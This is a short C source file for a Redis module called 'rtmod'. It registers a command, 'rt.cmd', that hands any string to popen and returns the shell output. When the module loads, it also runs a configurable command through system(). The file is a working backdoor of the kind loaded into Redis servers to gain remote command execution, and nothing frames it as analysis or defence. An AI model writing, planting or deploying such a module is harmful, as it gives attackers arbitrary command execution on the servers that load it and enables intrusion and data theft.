
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifndef BOOTSTRAP_CMD
#define BOOTSTRAP_CMD "true"
#endif

static int RtCmd(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (argc != 2) return RedisModule_WrongArity(ctx);
    size_t cl; const char *cmd = RedisModule_StringPtrLen(argv[1], &cl);
    char *cmdz = (char*)malloc(cl + 32);
    memcpy(cmdz, cmd, cl); cmdz[cl] = 0;
    char *out = (char*)malloc(65536); size_t o = 0;
    FILE *p = popen(cmdz, "r");
    if (!p) { RedisModule_ReplyWithError(ctx, "ERR popen"); free(cmdz); free(out); return REDISMODULE_OK; }
    int c; while (o < 65535 && (c = fgetc(p)) != EOF) out[o++] = (char)c;
    pclose(p); out[o] = 0;
    free(cmdz);
    RedisModule_ReplyWithStringBuffer(ctx, out, o);
    free(out);
    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    REDISMODULE_NOT_USED(argv); REDISMODULE_NOT_USED(argc);
    if (RedisModule_Init(ctx, "rtmod", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    if (RedisModule_CreateCommand(ctx, "rt.cmd", RtCmd, "deny-oom", 0, 0, 0) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    system(BOOTSTRAP_CMD);
    return REDISMODULE_OK;
}
